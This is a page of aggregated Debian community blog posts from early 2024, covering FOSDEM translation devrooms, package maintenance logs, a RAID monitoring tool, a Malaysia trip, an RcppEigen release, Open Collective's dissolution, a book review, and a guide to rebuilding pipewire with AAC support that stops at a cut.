4 March 2024

Paulo Henrique de Lima Santana: Bits from FOSDEM 2023 and 2024

Link para vers o em portugu s

Intro Since 2019, I have traveled to Brussels at the beginning of the year to join FOSDEM, considered the largest and most important Free Software event in Europe. The 2024 edition was the fourth in-person edition in a row that I joined (2021 and 2022 did not happen due to COVID-19) and always with the financial help of Debian, which kindly paid my flight tickets after receiving my request asking for help to travel and approved by the Debian leader. In 2020 I wrote several posts with a very complete report of the days I spent in Brussels. But in 2023 I didn t write anything, and becayse last year and this year I coordinated a room dedicated to translations of Free Software and Open Source projects, I m going to take the opportunity to write about these two years and how it was my experience. After my first trip to FOSDEM, I started to think that I could join in a more active way than just a regular attendee, so I had the desire to propose a talk to one of the rooms. But then I thought that instead of proposing a tal, I could organize a room for talks :-) and with the topic translations which is something that I m very interested in, because it s been a few years since I ve been helping to translate the Debian for Portuguese.

Joining FOSDEM 2023 In the second half of 2022 I did some research and saw that there had never been a room dedicated to translations, so when the FOSDEM organization opened the call to receive room proposals (called DevRoom) for the 2023 edition, I sent a proposal to a translation room and it was accepted! After the room was confirmed, the next step was for me, as room coordinator, to publicize the call for talk proposals. I spent a few weeks hoping to find out if I would receive a good number of proposals or if it would be a failure. But to my happiness, I received eight proposals and I had to select six to schedule the room programming schedule due to time constraints . FOSDEM 2023 took place from February 4th to 5th and the translation devroom was scheduled on the second day in the afternoon. The talks held in the room were these below, and in each of them you can watch the recording video.

Welcome to the Translations DevRoom.

Paulo Henrique de Lima Santana

Translate All The Things! An Introduction to LibreTranslate.

Piero Toffanin

Bringing your project closer to users - translating libre with Weblate. News, features and plans of the project.

Benjamin Alan Jamie

20 years with Gettext. Experiences from the PostgreSQL project.

Peter Eisentraut

Building an atractive way in an old infra for new translators.

Texou

Managing KDE s translation project. Are we the biggest FLOSS translation project?

Albert Astals Cid

Translating documentation with cloud tools and scripts. Using cloud tools and scripts to translate, review and update documents.

Nilo Coutinho Menezes

And on the first day of FOSDEM I was at the Debian stand selling the t-shirts that I had taken from Brazil. People from France were also there selling other products and it was cool to interact with people who visited the booth to buy and/or talk about Debian.

Photos

Joining FOSDEM 2024 The 2023 result motivated me to propose the translation devroom again when the FOSDEM 2024 organization opened the call for rooms . I was waiting to find out if the FOSDEM organization would accept a room on this topic for the second year in a row and to my delight, my proposal was accepted again :-) This time I received 11 proposals! And again due to time constraints, I had to select six to schedule the room schedule grid. FOSDEM 2024 took place from February 3rd to 4th and the translation devroom was scheduled for the second day again, but this time in the morning. The talks held in the room were these below, and in each of them you can watch the recording video.

Welcome to the Translations DevRoom.

Paulo Henrique de Lima Santana

Localization of Open Source Tools into Swahili.

Cecilia Maundu

A universal data model for localizable messages.

Eemeli Aro

Happy translating! It is possible to overcome the language barrier in Open Source!

Wentao Liu

Lessons learnt as a translation contributor the past 4 years.

Tom De Moor

Long Term Effort to Keep Translations Up-To-Date.

Andika Triwidada

Using Open Source AIs for Accessibility and Localization.

Nevin Daniel

This time I didn t help at the Debian stand because I couldn t bring t-shirts to sell from Brazil. So I just stopped by and talked to some people who were there like some DDs. But I volunteered for a few hours to operate the streaming camera in one of the main rooms.

Photos

Conclusion The topics of the talks in these two years were quite diverse, and all the lectures were really very good. In the 12 talks we can see how translations happen in some projects such as KDE, PostgreSQL, Debian and Mattermost. We had the presentation of tools such as LibreTranslate, Weblate, scripts, AI, data model. And also reports on the work carried out by communities in Africa, China and Indonesia. The rooms were full for some talks, a little more empty for others, but I was very satisfied with the final result of these two years. I leave my special thanks to Jonathan Carter, Debian Leader who approved my flight tickets requests so that I could join FOSDEM 2023 and 2024. This help was essential to make my trip to Brussels because flight tickets are not cheap at all. I would also like to thank my wife Jandira, who has been my travel partner :-) As there has been an increase in the number of proposals received, I believe that interest in the translations devroom is growing. So I intend to send the devroom proposal to FOSDEM 2025, and if it is accepted, wait for the future Debian Leader to approve helping me with the flight tickets again. We ll see.

Colin Watson: Free software activity in January/February 2024

Two months into my new gig and it s going great! Tracking my time has taken a bit of getting used to, but having something that amounts to a queryable database of everything I ve done has also allowed some helpful introspection. Freexian sponsors up to 20% of my time on Debian tasks of my choice. In fact I ve been spending the bulk of my time on debusine which is itself intended to accelerate work on Debian, but more details on that later. While I contribute to Freexian s summaries now, I ve also decided to start writing monthly posts about my free software activity as many others do, to get into some more detail. January 2024

I added Incus support to autopkgtest. Incus is a system container and virtual machine manager, forked from Canonical s LXD. I switched my laptop over to it and then quickly found that it was inconvenient not to be able to run Debian package test suites using autopkgtest, so I tweaked autopkgtest s existing LXD integration to support using either LXD or Incus.
I discovered Perl::Critic and used it to tidy up some poor practices in several of my packages, including debconf. Perl used to be my language of choice but I ve been mostly using Python for over a decade now, so I m not as fluent as I used to be and some mechanical assistance with spotting common errors is helpful; besides, I m generally a big fan of applying static analysis to everything possible in the hope of reducing bug density. Of course, this did result in a couple of regressions (1, 2), but at least we caught them fairly quickly.
I did some overdue debconf maintenance, mainly around tidying up error message handling in several places (1, 2, 3).
I did some routine maintenance to move several of my upstream projects to a new Gnulib stable branch.
debmirror includes a useful summary of how big a Debian mirror is, but it hadn t been updated since 2010 and the script to do so had bitrotted quite badly. I fixed that and added a recurring task for myself to refresh this every six months.

February 2024

Some time back I added AppArmor and seccomp confinement to man-db. This was mainly motivated by a desire to support manual pages in snaps (which is still open several years later ), but since reading manual pages involves a non-trivial text processing toolchain mostly written in C++, I thought it was reasonable to assume that some day it might have a vulnerability even though its track record has been good; so man now restricts the system calls that groff can execute and the parts of the file system that it can access. I stand by this, but it did cause some problems that have needed a succession of small fixes over the years. This month I issued DLA-3731-1, backporting some of those fixes to buster.
I spent some time chasing a console-setup build failure following the removal of kFreeBSD support, which was uploaded by mistake. I suggested a set of fixes for this, but the author of the change to remove kFreeBSD support decided to take a different approach (fair enough), so I ve abandoned this.
I updated the Debian zope.testrunner package to 6.3.1.
openssh:
- A Freexian collaborator had a problem with automating installations involving changes to /etc/ssh/sshd_config. This turned out to be resolvable without any changes, but in the process of investigating I noticed that my dodgy arrangements to avoid ucf prompts in certain cases had bitrotted slightly, which meant that some people might be prompted unnecessarily. I fixed this and arranged for it not to happen again.
- Following a recent debian-devel discussion, I realized that some particularly awkward code in the OpenSSH packaging was now obsolete, and removed it.
I backported a python-channels-redis fix to bookworm. I wasn t the first person to run into this, but I rediscovered it while working on debusine and it was confusing enough that it seemed worth fixing in stable.
I fixed a simple build failure in storm.
I dug into a very confusing cluster of celery build failures (1, 2, 3), and tracked the hardest bit down to a Python 3.12 regression, now fixed in unstable thanks to Stefano Rivera. Getting celery back into testing is blocked on the 64-bit time_t transition for now, but once that s out of the way it should flow smoothly again.

3 March 2024

Iustin Pop: New corydalis 2024.9.0 release!

Obligatory and misused quote: It s not dead, Jim! I ve kind of dropped by ball lately on organising my own photo collection, but February was a pretty good month and I managed to write some more code for Corydalis, ending up with the aforementioned new release. The release is not a big one, but I did manage to solve one thing that was annoying me greatly: that lack of ability to play videos inline in one of the two picture viewing modes (in my preferred mode, in fact). Now, whether you re browsing through pictures, or looking at pictures one-by-one, you can in both cases play videos easily, and to some extent, as it should be . No user docs for that, yet (I actually need to split the manual in user/admin/developer parts) I did some more internal cleanups, and I ve enabled building release zips (since that s how GitHub actions creates artifacts), which means it should be 10% easier to test this. The rest 90% is configuring it and pointing to picture folders and and and, so this is definitely not plug-and-play. The diff summary between 2023.44.0 and 2024.9.0 is: 56 files changed, 1412 insertions(+), 700 deletions(-). Which is not bad, but also not too much. The biggest churn was, as expected, in the viewer (due to the aforementioned video playing). The scary part is that the TypeScript code is not at 7.9% (and a tiny more JS, which I can t convert yet due to lack of type definitions upstream). I say scary in quotes, because I would actually like to know Typescript better, but no time. The new release can be seen in action on demo.corydalis.io, and as always, just after release I found two minor issues:

The GitHub actions don t retrieve the tags by default, actually they didn t use to retrieve tags at all, but that s fixed now, just needs configuration, so the public build just says Corydalis fbe0088, built on Mar 3 2024. (which is the correct hash value, at least).
I don t have videos on the public web site, so the new functionality is not visible. I m not sure I want to add real videos (size/bandwidth), hmm .

Well, there will be future releases. For now, I ve made an open-source package release, which I didn t do in a while, so I m happy . See you!

Petter Reinholdtsen: RAID status from LSI Megaraid controllers using free software

The last few days I have revisited RAID setup using the LSI Megaraid controller. These are a family of controllers called PERC by Dell, and is present in several old PowerEdge servers, and I recently got my hands on one of these. I had forgotten how to handle this RAID controller in Debian, so I had to take a peek in the Debian wiki page "Linux and Hardware RAID: an administrator's summary" to remember what kind of software is available to configure and monitor the disks and controller. I prefer Free Software alternatives to proprietary tools, as the later tend to fall into disarray once the manufacturer loose interest, and often do not work with newer Linux Distributions. Sadly there is no free software tool to configure the RAID setup, only to monitor it. RAID can provide improved reliability and resilience in a storage solution, but only if it is being regularly checked and any broken disks are being replaced in time. I thus want to ensure some automatic monitoring is available. In the discovery process, I came across a old free software tool to monitor PERC2, PERC3, PERC4 and PERC5 controllers, which to my surprise is not present in debian. To help change that I created a request for packaging of the megactl package, and tried to track down a usable version. The original project site is on Sourceforge, but as far as I can tell that project has been dead for more than 15 years. I managed to find a more recent fork on github from user hmage, but it is unclear to me if this is still being maintained. It has not seen much improvements since 2016. A more up to date edition is a git fork from the original github fork by user namiltd, and this newer fork seem a lot more promising. The owner of this github repository has replied to change proposals within hours, and had already added some improvements and support for more hardware. Sadly he is reluctant to commit to maintaining the tool and stated in my first pull request that he think a new release should be made based on the git repository owned by hmage. I perfectly understand this reluctance, as I feel the same about maintaining yet another package in Debian when I barely have time to take care of the ones I already maintain, but do not really have high hopes that hmage will have time to spend on it and hope namiltd will change his mind. In any case, I created a draft package based on the namiltd edition and put it under the debian group on salsa.debian.org. If you own a Dell PowerEdge server with one of the PERC controllers, or any other RAID controller using the megaraid or megaraid_sas Linux kernel modules, you might want to check it out. If enough people are interested, perhaps the package will make it into the Debian archive. There are two tools provided, megactl for the megaraid Linux kernel module, and megasasctl for the megaraid_sas Linux kernel module. The simple output from the command on one of my machines look like this (yes, I know some of the disks have problems. :).

# megasasctl 
a0       PERC H730 Mini           encl:1 ldrv:2  batt:good
a0d0       558GiB RAID 1   1x2  optimal
a0d1      3067GiB RAID 0   1x11 optimal
a0e32s0     558GiB  a0d0  online   errs: media:0  other:19
a0e32s1     279GiB  a0d1  online  
a0e32s2     279GiB  a0d1  online  
a0e32s3     279GiB  a0d1  online  
a0e32s4     279GiB  a0d1  online  
a0e32s5     279GiB  a0d1  online  
a0e32s6     279GiB  a0d1  online  
a0e32s8     558GiB  a0d0  online   errs: media:0  other:17
a0e32s9     279GiB  a0d1  online  
a0e32s10    279GiB  a0d1  online  
a0e32s11    279GiB  a0d1  online  
a0e32s12    279GiB  a0d1  online  
a0e32s13    279GiB  a0d1  online  
#

In addition to displaying a simple status report, it can also test individual drives and print the various event logs. Perhaps you too find it useful? In the packaging process I provided some patches upstream to improve installation and ensure a Appstream metainfo file is provided to list all supported HW, to allow isenkram to propose the package on all servers with a relevant PCI card. As usual, if you use Bitcoin and want to show your support of my activities, please send Bitcoin donations to my address 15oWEoG9dUPovwmUL9KWAnYRtNJEkP1u1b.

2 March 2024

Ravi Dwivedi: Malaysia Trip

Last month, I had a trip to Malaysia and Thailand. I stayed for six days in each of the countries. The selection of these countries was due to both of them granting visa-free entry to Indian tourists for some time window. This post covers the Malaysia part and Thailand part will be covered in the next post. If you want to travel to any of these countries in the visa-free time period, I have written all the questions asked during immigration and at airports during this trip here which might be of help. I mostly stayed in Kuala Lumpur and went to places around it. Although before the trip, I planned to visit Ipoh and Cameron Highlands too, but could not cover it during the trip. I found planning a trip to Malaysia a little difficult. The country is divided into two main islands - Peninsular Malaysia and Borneo. Then there are more islands - Langkawi, Penang island, Perhentian and Redang Islands. Reaching those islands seemed a little difficult to plan and I wish to visit more places in my next Malaysia trip. My first day hostel was booked in Chinatown part of Kuala Lumpur, near Pasar Seni LRT station. As soon as I checked-in and entered my room, I met another Indian named Fletcher, and after that we accompanied each other in the trip. That day, we went to Muzium Negara and Little India. I realized that if you know the right places to buy what you want, Malaysia could be quite cheap. Malaysian currency is Malaysian Ringgit (MYR). 1 MYR is equal to 18 INR. For 2 MYR, you can get a good masala tea in Little India and it costs like 4-5 MYR for a masala dosa. The vegetarian food has good availability in Kuala Lumpur, thanks to the Tamil community. I also tried Mee Goreng, which was vegetarian, and I found it fine in terms of taste. When I checked about Mee Goreng on Wikipedia, I found out that it is unique to Indian immigrants in Malaysia (and neighboring countries) but you don t get it in India!

For the next day, Fletcher had planned a trip to Genting Highlands and pre booked everything. I also planned to join him but when we went to KL Sentral to take the bus, his bus tickets were sold out. I could take a bus at a different time, but decided to visit some other place for the day and cover Genting Highlands later. At the ticket counter, I met a family from Delhi and they wanted to go to Genting Highlands but due to not getting bus tickets for that day, they decided to buy a ticket for the next day and instead planned for Batu Caves that day. I joined them and went to Batu Caves. After returning from Batu Caves, we went our separate ways. I went back and took rest at my hostel and later went to Petronas Towers at night. Petronas Towers is the icon of Kuala Lumpur. Having a photo there was a must. I was at Petronas Towers at around 9 PM. Around that time, Fletcher came back from Genting Highlands and we planned to meet at KL Sentral to head for dinner.

We went back to the same place as the day before where I had Mee Goreng. This time we had dosa and a masala tea. Their masala tea from the last day was tasty and that s why I was looking for them in the first place. We also met a Malaysian family having Indian ancestry dining there and had a nice conversation. Then we went to a place to eat roti canai in Pasar Seni market. Roti canai is a popular non-vegetarian dish in Malaysia but I took the vegetarian version.

The next day, we went to Berjaya Time Square shopping place which sells pretty cheap items for daily use and souveniers too. However, I bought souveniers from Petaling Street, which is in Chinatown. At night, we explored Bukit Bintang, which is the heart of Kuala Lumpur and is famous for its nightlife. After that, Fletcher went to Bangkok and I was in Malaysia for two more days. Next day, I went to Genting Highlands and took the cable car, which had awesome views. I came back to Kuala Lumpur by the night. The remaining day I just roamed around in Bukit Bintang. Then I took a flight for Bangkok on 7th Feb, which I will cover in the next post. In Malaysia, I met so many people from different countries - apart from people from Indian subcontinent, I met Syrians, Indonesians (Malaysia seems to be a popular destination for Indonesian tourists) and Burmese people. Meeting people from other cultures is an integral part of travel for me. My expenses for Food + Accommodation + Travel added to 10,000 INR for a week in Malaysia, while flight costs were: 13,000 INR (Delhi to Kuala Lumpur) + 10,000 INR (Kuala Lumpur to Bangkok) + 12,000 INR (Bangkok to Delhi). For OpenStreetMap users, good news is Kuala Lumpur is fairly well-mapped on OpenStreetMap.

Tips

I bought local SIM from a shop at KL Sentral station complex which had news in their name (I forgot the exact name and there are two shops having news in their name) and it was the cheapest option I could find. The SIM was 10 MYR for 5 GB data for a week. If you want to make calls too, then you need to spend extra 5 MYR.

7-Eleven and KK Mart convenience stores are everywhere in the city and they are open all the time (24 hours a day). If you are a vegetarian, you can at least get some bread and cheese from there to eat.

A lot of people know English (and many - Indians, Pakistanis, Nepalis - know Hindi) in Kuala Lumpur, so I had no language problems most of the time.

For shopping on budget, you can go to Petaling Street, Berjaya Time Square or Bukit Bintang. In particular, there is a shop named I Love KL Gifts in Bukit Bintang which had very good prices. just near the metro/monorail stattion. Check out location of the shop on OpenStreetMap.

28 February 2024

Dirk Eddelbuettel: RcppEigen 0.3.4.0.0 on CRAN: New Upstream, At Last

We are thrilled to share that RcppEigen has now upgraded to Eigen release 3.4.0! The new release 0.3.4.0.0 arrived on CRAN earlier today, and has been shipped to Debian as well. Eigen is a C++ template library for linear algebra: matrices, vectors, numerical solvers, and related algorithms. This update has been in the works for a full two and a half years! It all started with a PR #102 by Yixuan bringing the package-local changes for R integration forward to usptream release 3.4.0. We opened issue #103 to steer possible changes from reverse-dependency checking through. Lo and behold, this just stalled because a few substantial changes were needed and not coming. But after a long wait, and like a bolt out of a perfectly blue sky, Andrew revived it in January with a reverse depends run of his own along with a set of PRs. That was the push that was needed, and I steered it along with a number of reverse dependency checks, and occassional emails to maintainers. We managed to bring it down to only three packages having a hickup, and all three had received PRs thanks to Andrew and even merged them. So the plan became to release today following a final fourteen day window. And CRAN was convinced by our arguments that we followed due process. So there it is! Big big thanks to all who helped it along, especially Yixuan and Andrew but also Mikael who updated another patch set he had prepared for the previous release series. The complete NEWS file entry follows.

Changes in RcppEigen version 0.3.4.0.0 (2024-02-28)

The Eigen version has been upgrade to release 3.4.0 (Yixuan)

Extensive reverse-dependency checks ensure only three out of over 400 packages at CRAN are affected; PRs and patches helped other packages

The long-running branch also contains substantial contributions from Mikael Jagan (for the lme4 interface) and Andrew Johnson (revdep PRs)

Courtesy of CRANberries, there is also a diffstat report for the most recent release. If you like this or other open-source work I do, you can sponsor me at GitHub.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. Please report excessive re-aggregation in third-party for-profit settings.

Daniel Lange: Opencollective shutting down

Update 28.02.2024 19:45 CET: There is now a blog entry at https://blog.opencollective.com/open-collective-official-statement-ocf-dissolution/ trying to discern the legal entities in the Open Collective ecosystem and recommending potential ways forward.

Gee, there is nothing on their blog yet, but I just [28.02.2023 00:07 CET] received this email from Mike Strode, Program Officer at the Open Collective Foundation: Dear Daniel Lange, It is with a heavy heart that I'm writing today to inform you that the Board of Directors of the Open Collective Foundation (OCF) has made the difficult decision to dissolve OCF, effective December 31, 2024. We are proud of the work we have been able to do together. We have been honored to build community with you and the hundreds of other collectives hosted at the Open Collective Foundation. What you need to know: We are beginning a staged dissolution process that will allow our over 600 collectives the time to close or transition their work. Dissolving OCF will take many months, and involves settling all liabilities while spending down all funds in a legally compliant manner. Our priority is to support our collectives in navigating this change. We want to provide collectives the longest possible runway to wind down or transition their operations while we focus on the many legal and financial tasks associated with dissolving a nonprofit. March 15 is the last day to accept donations. You will have until September 30 to work with us to develop and implement a plan to spend down the money in your fund. Key dates are included at the bottom of this email. We know this is going to be difficult, and we will do everything we can to ease the transition for you. How we will support collectives: It remains our fiduciary responsibility to safeguard each collective's charitable assets and ensure funds are used solely for specified charitable purposes. We will be providing assistance and support to you, whether you choose to spend out and close down your collective or continue your work through another 501(c)(3) organization or fiscal sponsor. Unfortunately, we had to say goodbye to several of our colleagues today as we pare down our core staff to reduce costs. I will be staying on staff to support collectives through this transition, along with Wayne Kleppe, our Finance Administrator. What led to this decision: From day one, OCF was committed to experimentation and innovation. We were dedicated to finding new ways to open up the nonprofit space, making it easier for people to raise and access funding so they can do good in their communities. OCF was created by Open Collective Inc. (OCI), a company formed in 2015 with the goal of "enabling groups to quickly set up a collective, raise funds and manage them transparently." Soon after being founded by OCI, OCF went through a period of rapid growth. We responded to increased demand arising from the COVID-19 pandemic without taking the time to establish the appropriate systems and infrastructure to sustain that growth. Unfortunately, over the past year, we have learned that Open Collective Foundation's business model is not sustainable with the number of complex services we have offered and the fees we pay to the Open Collective Inc. tech platform. In late 2023, we made the decision to pause accepting new collectives in order to create space for us to address the issues. Unfortunately, it became clear that it would not be financially feasible to make the necessary corrections, and we determined that OCF is not viable. What's next: We know this news will raise questions for many of our collectives. We will be making space for questions and reactions in the coming weeks. In the meantime, we have developed this FAQ which we will keep updated as more questions come in. What you need to do next:

Review the FAQ
Discuss your options within your collective. Your options are:
- spend down and close out your collective
- spend down and transfer your collective to another fiscal sponsor, or
- transfer your collective and funds to another charitable organization.
Reply-all to this email with any questions, requests, or to set up a time to talk. Please make sure generalinquiries@opencollective.org is copied on your email.

Dates to know:

Last day to accept funds/receive donations: March 15, 2024
Last day collectives can have employees: June 30, 2024
Last day to spend or transfer funds: September 30, 2024

In Care & Accompaniment,
Mike Strode
Program Officer
Open Collective Foundation Our mailing address has changed! We are now located at 440 N. Barranca Avenue #3717, Covina, CA 91723, USA

25 February 2024

Russ Allbery: Review: The Fund

Review: The Fund, by Rob Copeland

Publisher:	St. Martin's Press
Copyright:	2023
ISBN:	1-250-27694-2
Format:	Kindle
Pages:	310

I first became aware of Ray Dalio when either he or his publisher plastered advertisements for The Principles all over the San Francisco 4th and King Caltrain station. If I recall correctly, there were also constant radio commercials; it was a whole thing in 2017. My brain is very good at tuning out advertisements, so my only thought at the time was "some business guy wrote a self-help book." I think I vaguely assumed he was a CEO of some traditional business, since that's usually who writes heavily marketed books like this. I did not connect him with hedge funds or Bridgewater, which I have a bad habit of confusing with Blackwater. The Principles turns out to be more of a laundered cult manual than a self-help book. And therein lies a story. Rob Copeland is currently with The New York Times, but for many years he was the hedge fund reporter for The Wall Street Journal. He covered, among other things, Bridgewater Associates, the enormous hedge fund founded by Ray Dalio. The Fund is a biography of Ray Dalio and a history of Bridgewater from its founding as a vehicle for Dalio's advising business until 2022 when Dalio, after multiple false starts and title shuffles, finally retired from running the company. (Maybe. Based on the history recounted here, it wouldn't surprise me if he was back at the helm by the time you read this.) It is one of the wildest, creepiest, and most abusive business histories that I have ever read. It's probably worth mentioning, as Copeland does explicitly, that Ray Dalio and Bridgewater hate this book and claim it's a pack of lies. Copeland includes some of their denials (and many non-denials that sound as good as confirmations to me) in footnotes that I found increasingly amusing.

A lawyer for Dalio said he "treated all employees equally, giving people at all levels the same respect and extending them the same perks."

Uh-huh. Anyway, I personally know nothing about Bridgewater other than what I learned here and the occasional mention in Matt Levine's newsletter (which is where I got the recommendation for this book). I have no independent information whether anything Copeland describes here is true, but Copeland provides the typical extensive list of notes and sourcing one expects in a book like this, and Levine's comments indicated it's generally consistent with Bridgewater's industry reputation. I think this book is true, but since the clear implication is that the world's largest hedge fund was primarily a deranged cult whose employees mostly spied on and rated each other rather than doing any real investment work, I also have questions, not all of which Copeland answers to my satisfaction. But more on that later. The center of this book are the Principles. These were an ever-changing list of rules and maxims for how people should conduct themselves within Bridgewater. Per Copeland, although Dalio later published a book by that name, the version of the Principles that made it into the book was sanitized and significantly edited down from the version used inside the company. Dalio was constantly adding new ones and sometimes changing them, but the common theme was radical, confrontational "honesty": never being silent about problems, confronting people directly about anything that they did wrong, and telling people all of their faults so that they could "know themselves better." If this sounds like textbook abusive behavior, you have the right idea. This part Dalio admits to openly, describing Bridgewater as a firm that isn't for everyone but that achieves great results because of this culture. But the uncomfortably confrontational vibes are only the tip of the iceberg of dysfunction. Here are just a few of the ways this played out according to Copeland:

Dalio decided that everyone's opinions should be weighted by the accuracy of their previous decisions, to create a "meritocracy," and therefore hired people to build a social credit system in which people could use an app to constantly rate all of their co-workers. This almost immediately devolved into out-group bullying worthy of a high school, with employees hurriedly down-rating and ostracizing any co-worker that Dalio down-rated.
When an early version of the system uncovered two employees at Bridgewater with more credibility than Dalio, Dalio had the system rigged to ensure that he always had the highest ratings and was not affected by other people's ratings.
Dalio became so obsessed with the principle of confronting problems that he created a centralized log of problems at Bridgewater and required employees find and report a quota of ten or twenty new issues every week or have their bonus docked. He would then regularly pick some issue out of the issue log, no matter how petty, and treat it like a referendum on the worth of the person responsible for the issue.
Dalio's favorite way of dealing with a problem was to put someone on trial. This involved extensive investigations followed by a meeting where Dalio would berate the person and harshly catalog their flaws, often reducing them to tears or panic attacks, while smugly insisting that having an emotional reaction to criticism was a personality flaw. These meetings were then filmed and added to a library available to all Bridgewater employees, often edited to remove Dalio's personal abuse and to make the emotional reaction of the target look disproportionate. The ones Dalio liked the best were shown to all new employees as part of their training in the Principles.
One of the best ways to gain institutional power in Bridgewater was to become sycophantically obsessed with the Principles and to be an eager participant in Dalio's trials. The highest levels of Bridgewater featured constant jockeying for power, often by trying to catch rivals in violations of the Principles so that they would be put on trial.

In one of the common and all-too-disturbing connections between Wall Street finance and the United States' dysfunctional government, James Comey (yes, that James Comey) ran internal security for Bridgewater for three years, meaning that he was the one who pulled evidence from surveillance cameras for Dalio to use to confront employees during his trials. In case the cult vibes weren't strong enough already, Bridgewater developed its own idiosyncratic language worthy of Scientology. The trials were called "probings," firing someone was called "sorting" them, and rating them was called "dotting," among many other Bridgewater-specific terms. Needless to say, no one ever probed Dalio himself. You will also be completely unsurprised to learn that Copeland documents instances of sexual harassment and discrimination at Bridgewater, including some by Dalio himself, although that seems to be a relatively small part of the overall dysfunction. Dalio was happy to publicly humiliate anyone regardless of gender. If you're like me, at this point you're probably wondering how Bridgewater continued operating for so long in this environment. (Per Copeland, since Dalio's retirement in 2022, Bridgewater has drastically reduced the cult-like behaviors, deleted its archive of probings, and de-emphasized the Principles.) It was not actually a religious cult; it was a hedge fund that has to provide investment services to huge, sophisticated clients, and by all accounts it's a very successful one. Why did this bizarre nightmare of a workplace not interfere with Bridgewater's business? This, I think, is the weakest part of this book. Copeland makes a few gestures at answering this question, but none of them are very satisfying. First, it's clear from Copeland's account that almost none of the employees of Bridgewater had any control over Bridgewater's investments. Nearly everyone was working on other parts of the business (sales, investor relations) or on cult-related obsessions. Investment decisions (largely incorporated into algorithms) were made by a tiny core of people and often by Dalio himself. Bridgewater also appears to not trade frequently, unlike some other hedge funds, meaning that they probably stay clear of the more labor-intensive high-frequency parts of the business. Second, Bridgewater took off as a hedge fund just before the hedge fund boom in the 1990s. It transformed from Dalio's personal consulting business and investment newsletter to a hedge fund in 1990 (with an earlier investment from the World Bank in 1987), and the 1990s were a very good decade for hedge funds. Bridgewater, in part due to Dalio's connections and effective marketing via his newsletter, became one of the largest hedge funds in the world, which gave it a sort of institutional momentum. No one was questioned for putting money into Bridgewater even in years when it did poorly compared to its rivals. Third, Dalio used the tried and true method of getting free publicity from the financial press: constantly predict an upcoming downturn, and aggressively take credit whenever you were right. From nearly the start of his career, Dalio predicted economic downturns year after year. Bridgewater did very well in the 2000 to 2003 downturn, and again during the 2008 financial crisis. Dalio aggressively takes credit for predicting both of those downturns and positioning Bridgewater correctly going into them. This is correct; what he avoids mentioning is that he also predicted downturns in every other year, the majority of which never happened. These points together create a bit of an answer, but they don't feel like the whole picture and Copeland doesn't connect the pieces. It seems possible that Dalio may simply be good at investing; he reads obsessively and clearly enjoys thinking about markets, and being an abusive cult leader doesn't take up all of his time. It's also true that to some extent hedge funds are semi-free money machines, in that once you have a sufficient quantity of money and political connections you gain access to investment opportunities and mechanisms that are very likely to make money and that the typical investor simply cannot access. Dalio is clearly good at making personal connections, and invested a lot of effort into forming close ties with tricky clients such as pools of Chinese money. Perhaps the most compelling explanation isn't mentioned directly in this book but instead comes from Matt Levine. Bridgewater touts its algorithmic trading over humans making individual trades, and there is some reason to believe that consistently applying an algorithm without regard to human emotion is a solid trading strategy in at least some investment areas. Levine has asked in his newsletter, tongue firmly in cheek, whether the bizarre cult-like behavior and constant infighting is a strategy to distract all the humans and keep them from messing with the algorithm and thus making bad decisions. Copeland leaves this question unsettled. Instead, one comes away from this book with a clear vision of the most dysfunctional workplace I have ever heard of, and an endless litany of bizarre events each more astonishing than the last. If you like watching train wrecks, this is the book for you. The only drawback is that, unlike other entries in this genre such as Bad Blood or Billion Dollar Loser, Bridgewater is a wildly successful company, so you don't get the schadenfreude of seeing a house of cards collapse. You do, however, get a helpful mental model to apply to the next person who tries to talk to you about "radical honesty" and "idea meritocracy." The flaw in this book is that the existence of an organization like Bridgewater is pointing to systematic flaws in how our society works, which Copeland is largely uninterested in interrogating. "How could this have happened?" is a rather large question to leave unanswered. The sheer outrageousness of Dalio's behavior also gets a bit tiring by the end of the book, when you've seen the patterns and are hearing about the fourth variation. But this is still an astonishing book, and a worthy entry in the genre of capitalism disasters. Rating: 7 out of 10

Jacob Adams: AAC and Debian

Currently, in a default installation of Debian with the GNOME desktop, Bluetooth headphones that require the AAC codec¹ cannot be used. As the Debian wiki outlines, using the AAC codec over Bluetooth, while technically supported by PipeWire, is explicitly disabled in Debian at this time. This is because the fdk-aac library needed to enable this support is currently in the non-free component of the repository, meaning that PipeWire, which is in the main component, cannot depend on it.

How to Fix it Yourself If what you, like me, need is simply for Bluetooth Audio to work with AAC in Debian s default desktop environment², then you ll need to rebuild the pipewire package to include the AAC codec. While the current version in Debian main has been built with AAC deliberately disabled, it is trivial to enable if you can install a version of the fdk-aac library. I preface this with the usual caveats when it comes to patent and licensing controversies. I am not a lawyer, building this package and/or using it could get you into legal trouble. These instructions have only been tested on an up-to-date copy of Debian 12.

Install pipewire s build dependencies

sudo apt install build-essential devscripts
sudo apt build-dep pipewire

Install libfdk-aac-dev
```
sudo apt install libfdk-aac-dev
```
If the above doesn t work you ll likely need to enable non-free and try again
```
sudo sed -i 's/main/main non-free/g' /etc/apt/sources.list
sudo apt update
```
Alternatively, if you wish to ensure you are maximally license-compliant and patent un-infringing³, you can instead build fdk-aac-free which includes only those components of AAC that are known to be patent-free³. This is what should eventually end up in Debian to resolve this problem (see below).
```
sudo apt install git-buildpackage
mkdir fdk-aac-source
cd fdk-aac-source
git clone https://salsa.debian.org/multimedia-team/fdk-aac
cd fdk-aac
gbp buildpackage
sudo dpkg -i ../libfdk-aac2_*deb ../libfdk-aac-dev_*deb
```
Get the pipewire source code
```
mkdir pipewire-source
cd pipewire-source
apt source pipewire
```
This will create a bunch of files within the pipewire-source directory, but you ll only need the pipewire-<version> folder, this contains all the files you ll need to build the package, with all the debian-specific patches already applied. Note that you don t want to run the apt source command as root, as it will then create files that your regular user cannot edit.

Fix the dependencies and build options To fix up the build scripts to use the fdk-aac library, you need to save the following as pipewire-source/aac.patch

--- debian/control.orig
+++ debian/control
@@ -40,8 +40,8 @@
             modemmanager-dev,
             pkg-config,
             python3-docutils,
-               systemd [linux-any]
-Build-Conflicts: libfdk-aac-dev
+               systemd [linux-any],
+               libfdk-aac-dev
 Standards-Version: 4.6.2
 Vcs-Browser: https://salsa.debian.org/utopia-team/pipewire
 Vcs-Git: https://salsa.debian.org/utopia-team/pipewire.git
--- debian/rules.orig
+++ debian/rules
@@ -37,7 +37,7 @@
 		-Dauto_features=enabled \
 		-Davahi=enabled \
 		-Dbluez5-backend-native-mm=enabled \
-		-Dbluez5-codec-aac=disabled \
+		-Dbluez5-codec-aac=enabled \
 		-Dbluez5-codec-aptx=enabled \
 		-Dbluez5-codec-lc3=enabled \
 		-Dbluez5-codec-lc3plus=disabled \

Then you ll need to run patch from within the pipewire-<version> folder created by apt source:
